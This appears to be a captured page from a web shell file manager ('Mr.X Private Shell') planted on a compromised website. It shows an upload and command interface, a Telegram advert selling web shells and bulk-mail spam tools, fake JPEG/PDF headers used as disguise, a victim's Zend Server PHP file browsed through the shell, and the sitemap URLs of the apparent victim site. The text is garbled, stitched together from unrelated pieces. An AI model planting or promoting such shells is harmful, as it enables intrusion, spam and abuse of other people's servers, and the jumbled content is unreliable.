xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DeploymentLibrary\Controller\Plugin;

use Zend\Http\Header\SetCookie;
use Zend\Json\Json;
use Zend\Mvc\Controller\Plugin\AbstractPlugin;
use ZendServer\Log\Log;
use ZendServer\Permissions\AclQuery;
use DeploymentLibrary\Mapper as librariesMapper;
use DeploymentLibrary\Db\Mapper as updatesMapper;

class SetUpdateCookie extends AbstractPlugin
{
    /**
     * @var AclQuery
     */
    private $acl;

    /**
     * @var librariesMapper
     */
    private $librariesMapper;

    /**
     * @var updatesMapper
     */
    private $updatesMapper;

    public function __invoke()
    {
        if ($this->getAcl()->isAllowedEdition('route:DeploymentLibraryWebAPI', 'libraryDeploy') &&
            (!isset($this->getController()->getRequest()->getCookie()->ZSLIBRARIES))) {

            $mapper   = $this->getLibrariesMapper();
            $dbMapper = $this->getUpdatesMapper();

            // get all update urls
            $libraries = $mapper->getAllLibrariesUpdateUrl(true);

            // get new versions and merge them with current url versions
            $updatesResult = $dbMapper->getUpdates()->toArray();

            $updates = array();
            foreach ($updatesResult as $update) {
                $updates[$update['NAME']] = $update;
            }

            foreach ($libraries as $libraryName => $library) {
                if (isset($updates[$libraryName]) && version_compare($updates[$libraryName]['VERSION'],
                        $library['version'])) {
                    $libraries[$libraryName]['version'] = $updates[$libraryName]['VERSION'];
                }
            }

            $this->setCookieContent($libraries);
        }
    }

    /**
     * @param \DeploymentLibrary\Db\Mapper $updatesMapper
     */
    public function setUpdatesMapper($updatesMapper)
    {
        $this->updatesMapper = $updatesMapper;
    }

    /**
     * @return \DeploymentLibrary\Db\Mapper
     */
    public function getUpdatesMapper()
    {
        return $this->updatesMapper;
    }

    /**
     * @param \ZendServer\Permissions\AclQuery $acl
     */
    public function setAcl($acl)
    {
        $this->acl = $acl;
    }

    /**
     * @return \ZendServer\Permissions\AclQuery
     */
    public function getAcl()
    {
        return $this->acl;
    }

    /**
     * @param \DeploymentLibrary\Mapper $librariesMapper
     */
    public function setLibrariesMapper($librariesMapper)
    {
        $this->librariesMapper = $librariesMapper;
    }

    /**
     * @return \DeploymentLibrary\Mapper
     */
    public function getLibrariesMapper()
    {
        return $this->librariesMapper;
    }

    /**
     * @param $libraries
     * @return bool
     */
    protected function setCookieContent($libraries)
    {
        $params = session_get_cookie_params();
        return setcookie(\ZendServer\Utils\Cookie::getPrefixKey("ZSLIBRARIES"),
            Json::encode($libraries), time() + (24 * 3600), $params['path']);
    }
}

Filemanager

Name Type Size Permission Actions
SetUpdateCookie.php File 2.91 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml